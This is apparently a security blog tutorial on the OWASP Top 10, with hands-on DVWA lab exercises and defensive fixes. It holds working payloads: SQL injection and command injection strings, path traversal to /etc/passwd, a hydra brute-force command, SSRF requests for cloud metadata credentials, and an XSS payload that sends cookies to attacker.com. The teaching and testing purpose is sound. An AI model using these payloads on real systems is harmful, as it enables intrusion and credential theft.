OWASP Top 10 2026 — Hands-On Guide with DVWA

Rudra Verma, Senior Security Architect & Researcher · 2026-07-19

The OWASP Top 10 is the most widely referenced standard for web application security risks. Updated for 2026, it reflects the current threat landscape facing modern web applications — from classic injection vulnerabilities to broken access control and security misconfigurations that continue to dominate real-world breaches.

This guide uses DVWA (Damn Vulnerable Web Application) as the hands-on practice target. Every category includes a technical explanation, how to identify it, a DVWA lab exercise, and the defensive countermeasure. All testing is performed in an isolated local environment — never test against real applications without explicit written authorization.

◈ Table of Contents

01 DVWA Lab Setup A01 Broken Access Control A02 Cryptographic Failures A03 Injection (SQLi, CMDi) A04 Insecure Design A05 Security Misconfiguration A06 Vulnerable Components A07 Auth Failures A08 Software Integrity Failures A09 Logging & Monitoring Failures A10 SSRF

🏭

01 — DVWA LAB SETUP

PREREQUISITE

Setting Up DVWA with Docker

Lab Setup

DVWA (Damn Vulnerable Web Application) is an intentionally vulnerable PHP/MySQL web app. The fastest way to run it is via Docker. Run it only on your local machine or an isolated VM — never expose it to the internet.

DOCKER SETUP (FASTEST METHOD)

# Pull and run DVWA docker run -d -p 80:80 vulnerables/web-dvwa # Access in browser http://localhost/ # Default credentials Username: admin Password: password # Navigate to: Setup / Reset DB # Click "Create / Reset Database" to initialise

DVWA SECURITY LEVELS

# Change security level at: DVWA Security tab # Low — no input validation, easiest exploitation # Medium — some filtering, requires bypass techniques # High — strong defences, most realistic # Impossible — fully hardened (for comparison) # Start on LOW to learn, then move up

⚠️

DVWA is intentionally vulnerable. Run it only in Docker on localhost or in an isolated VM with no internet exposure. Never deploy DVWA on a production server, public IP, or any network you don't fully control.

🔒

A01 — BROKEN ACCESS CONTROL

#1 MOST COMMON RISK

IDOR & Forced Browsing

Broken Access Control

Broken Access Control is the top OWASP risk — occurring when users can act outside their intended permissions. Common forms include IDOR (Insecure Direct Object Reference), where changing a parameter accesses another user's data, and forced browsing to admin pages.

Common Broken Access Control Patterns

[!] IDOR: GET /api/orders/1234 → change to /api/orders/1235 to see another user's order
[!] Forced browsing: accessing /admin, /admin/users without authentication check
[!] Privilege escalation: changing role=user to role=admin in a cookie or parameter
[!] Path traversal: ../../../etc/passwd to read files outside the web root

DVWA EXERCISE — FILE INCLUSION MODULE

# DVWA → File Inclusion (tests path traversal / LFI) # Low security — modify the page parameter # Normal request http://localhost/vulnerabilities/fi/?page=include.php # Path traversal attempt http://localhost/vulnerabilities/fi/?page=../../../../etc/passwd # Expected result on Low: reads /etc/passwd contents # Fix: whitelist only allowed filenames, never concatenate user input into file paths

🔐

A02 — CRYPTOGRAPHIC FAILURES

DATA EXPOSURE RISK

Weak Hashing, Cleartext Data, Weak TLS

Cryptographic Failures

Cryptographic Failures (formerly "Sensitive Data Exposure") cover cases where data is inadequately protected in transit or at rest. The most common forms are passwords stored as weak hashes (MD5, SHA1), sensitive data transmitted over HTTP, and weak TLS configurations.

Failure Type	Example	Fix
Weak password hashing	MD5 or SHA1 without salt	bcrypt, Argon2id, scrypt with cost factor ≥12
Hardcoded secrets	API keys in source code	Environment variables, secrets manager (AWS SSM, Vault)
Cleartext transmission	HTTP login forms	HTTPS everywhere, HSTS header
Weak TLS	TLS 1.0/1.1, RC4, MD5 cipher	TLS 1.2+ only, disable weak cipher suites
Unencrypted database	Passwords visible in DB	Encrypt sensitive columns, full-disk encryption

DVWA — PASSWORD HASHES (LOOK AT DVWA DB)

# Inside DVWA's MySQL, the admin password is stored as MD5 # MD5 hash of 'password': 5f4dcc3b5aa765d61d8327deb882cf99 # Crack with hashcat: hashcat -m 0 5f4dcc3b5aa765d61d8327deb882cf99 /usr/share/wordlists/rockyou.txt # Result: password (cracks in seconds) # Fix: use bcrypt — even the same "password" takes seconds to verify

📈

A03 — INJECTION

CLASSIC & CRITICAL

SQL Injection — DVWA Lab Walkthrough

SQLi

Injection occurs when untrusted data is sent to an interpreter as part of a command or query. SQL injection, OS command injection, LDAP injection, and XSS are all forms of injection. SQL injection remains one of the highest-impact web vulnerabilities, enabling attackers to read, modify, or delete database contents.

◈ SQLi — Manual Exploitation in DVWA

1
Navigate to DVWA → SQL Injection module → Security: Low
2
The form asks for a User ID — enter 1 and submit. Note it returns user "admin"
3
Test for SQLi by entering a single quote: ' — the page shows a MySQL error, confirming SQLi
4
Determine column count: try 1 ORDER BY 1--, 1 ORDER BY 2--, 1 ORDER BY 3-- — error on 3 means 2 columns
5
UNION-based extraction: 1' UNION SELECT user(), database()-- — returns current DB user and database name
6
Dump tables: 1' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema=database()--
7
Dump users: 1' UNION SELECT user, password FROM users--

COMMAND INJECTION — DVWA LAB

# DVWA → Command Injection module # The form pings an IP address you provide # On Low security, the input is directly concatenated to a shell command # Normal: enter 127.0.0.1 to ping localhost 127.0.0.1 # Inject a second command with ; operator 127.0.0.1; whoami 127.0.0.1; id 127.0.0.1; cat /etc/passwd 127.0.0.1; ls -la /var/www/html # Fix: NEVER pass user input to shell_exec/system/exec # Use allowlists — only allow valid IP format, validate with regex

⚡

The fix for SQL injection is parameterised queries (prepared statements) — not input filtering. Filtering can be bypassed; parameterised queries make injection structurally impossible. In PHP: use PDO with bound parameters. In Python: use cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)).

Cross-Site Scripting (XSS) — DVWA Lab

XSS

XSS is a form of injection where malicious scripts are injected into web pages viewed by other users. It enables session hijacking, credential theft, keylogging, and phishing within the victim's browser context. Three types: Reflected, Stored, DOM-based.

REFLECTED XSS — DVWA

# DVWA → XSS (Reflected) → Security: Low # Enter in the name field: <script>alert('XSS')</script> # Executes immediately — confirms reflected XSS # Session theft payload (attacker collects cookies) <script>document.location='http://attacker.com/steal?c='+document.cookie</script>

STORED XSS — DVWA

# DVWA → XSS (Stored) → Security: Low # Submit a guestbook entry with: <script>alert('Stored XSS')</script> # Every user who views the guestbook page will execute this script # Fix: encode output — use htmlspecialchars() in PHP, escape in templates # Never trust user input rendered back to HTML without encoding

⚙️

A05 — SECURITY MISCONFIGURATION

EXTREMELY COMMON

Default Credentials, Debug Modes, Verbose Errors

Misconfiguration

Security misconfigurations are the most common finding in web application assessments. They include default credentials left unchanged, debug modes enabled in production, directory listing exposed, verbose error messages, and unnecessary features or services enabled.

Misconfiguration	Impact	How to Test
Default admin credentials	Full application takeover	Try admin/admin, admin/password, admin/1234
Directory listing enabled	Source code, config file disclosure	Navigate to /images/, /uploads/, /backup/
Debug mode in production	Stack traces reveal code, DB structure	Force a 500 error; check if stack trace appears
Verbose HTTP headers	Tech stack fingerprinting	curl -I target.com — check Server, X-Powered-By headers
CORS wildcard	Cross-origin data theft	Access-Control-Allow-Origin: * on API responses

QUICK MISCONFIGURATION CHECKS

# Check HTTP security headers curl -I http://localhost/ | grep -E "Server|X-Powered-By|Content-Security-Policy|X-Frame-Options" # Test for directory listing curl http://localhost/images/ curl http://localhost/uploads/ # Check for robots.txt (disallowed paths reveal hidden content) curl http://localhost/robots.txt

🔑

A07 — IDENTIFICATION & AUTHENTICATION FAILURES

AUTH ATTACKS

Brute Force & Credential Stuffing — DVWA Lab

Auth Failures

Authentication failures include brute force attacks with no rate limiting, credential stuffing (using breached passwords against other sites), weak session management, and broken "remember me" functionality. DVWA's Brute Force module demonstrates this directly.

HYDRA BRUTE FORCE — DVWA LOGIN

# Set Security to Low in DVWA first # Get your PHPSESSID cookie from browser DevTools after logging in # Brute force the DVWA login with hydra hydra -l admin -P /usr/share/wordlists/rockyou.txt \ "http-get-form://localhost/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie: PHPSESSID=YOUR_SESSION_ID; security=low:F=Username and/or password incorrect." # Hydra will cycle through the wordlist — correct password found when "F=" string is absent

Authentication Hardening Checklist

[+] Rate limit login attempts — lockout after 5 failures (use exponential backoff)
[+] Require MFA for all privileged accounts
[+] Implement CAPTCHA after repeated failures
[+] Invalidate sessions on logout server-side
[+] Use secure, HttpOnly, SameSite=Strict cookie flags
[+] Check passwords against known breached credentials (HaveIBeenPwned API)

🌐

A10 — SERVER-SIDE REQUEST FORGERY (SSRF)

CRITICAL IN CLOUD

SSRF — Accessing Internal Services & Cloud Metadata

SSRF

SSRF allows attackers to make the server issue HTTP requests to internal services, cloud metadata APIs, or other hosts the attacker cannot directly reach. In cloud environments, SSRF is critical — it often leads to IAM credential theft via the metadata service at 169.254.169.254.

SSRF — HOW TO IDENTIFY

# Any parameter that accepts a URL is a potential SSRF vector # Examples: GET /api/fetch?url=https://example.com POST /webhook {"callback": "https://example.com/hook"} POST /import {"image_url": "https://example.com/image.png"} # Test by pointing the URL at your Burp Collaborator / interactsh server GET /api/fetch?url=https://your-collaborator-server.com # If you get a DNS/HTTP hit, SSRF is confirmed

SSRF TO CLOUD METADATA — AWS IMDSv1

# If the target is hosted on AWS with IMDSv1 (no token required) # Retrieve instance metadata: GET /api/fetch?url=http://169.254.169.254/latest/meta-data/ # Steal IAM credentials: GET /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ GET /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME # Returns: AccessKeyId, SecretAccessKey, Token # Fix: enforce IMDSv2 (token-required), add server-side URL allowlist

⚡

AWS IMDSv2 requires a PUT request to get a token first, then uses the token in the metadata request — this breaks most SSRF chains. If your AWS environment still allows IMDSv1, it's a critical finding: enforce IMDSv2 via instance metadata options in your EC2 launch configuration or Terraform aws_instance resource.

★

OWASP Top 10 2026 — Full Reference

Summary

Rank	Category	Key Attack Type
A01	Broken Access Control	IDOR, forced browsing, privilege escalation
A02	Cryptographic Failures	Weak hashing, cleartext, weak TLS
A03	Injection	SQLi, XSS, Command injection, LDAP injection
A04	Insecure Design	Missing security requirements, threat modeling gaps
A05	Security Misconfiguration	Default creds, debug mode, verbose errors, open cloud buckets
A06	Vulnerable & Outdated Components	Known CVEs in libraries, frameworks, CMS plugins
A07	Identification & Auth Failures	Brute force, credential stuffing, weak session management
A08	Software & Data Integrity Failures	Insecure deserialization, unsigned updates, CI/CD poisoning
A09	Security Logging & Monitoring Failures	No audit logs, no alerting, undetected breaches
A10	Server-Side Request Forgery (SSRF)	Internal service access, cloud metadata theft

⚠️

All techniques in this guide are for authorized testing in controlled lab environments only. Apply these methods against DVWA or other intentionally vulnerable apps you own. Testing against production applications or systems without explicit written authorization is illegal under the Computer Misuse Act, CFAA, and equivalent laws worldwide.

◈ Stay Connected

Follow CyberHawk Threat Intel for web application security tutorials, penetration testing labs, and professional SOC training.

🌐 Website ▶️ YouTube 𝕏 Twitter/X ♫ TikTok ✈️ Telegram

📝 Blog 📚 Courses 📋 SOPs 🔍 IOC Scanner

"They can't exploit you if you are the Exploit."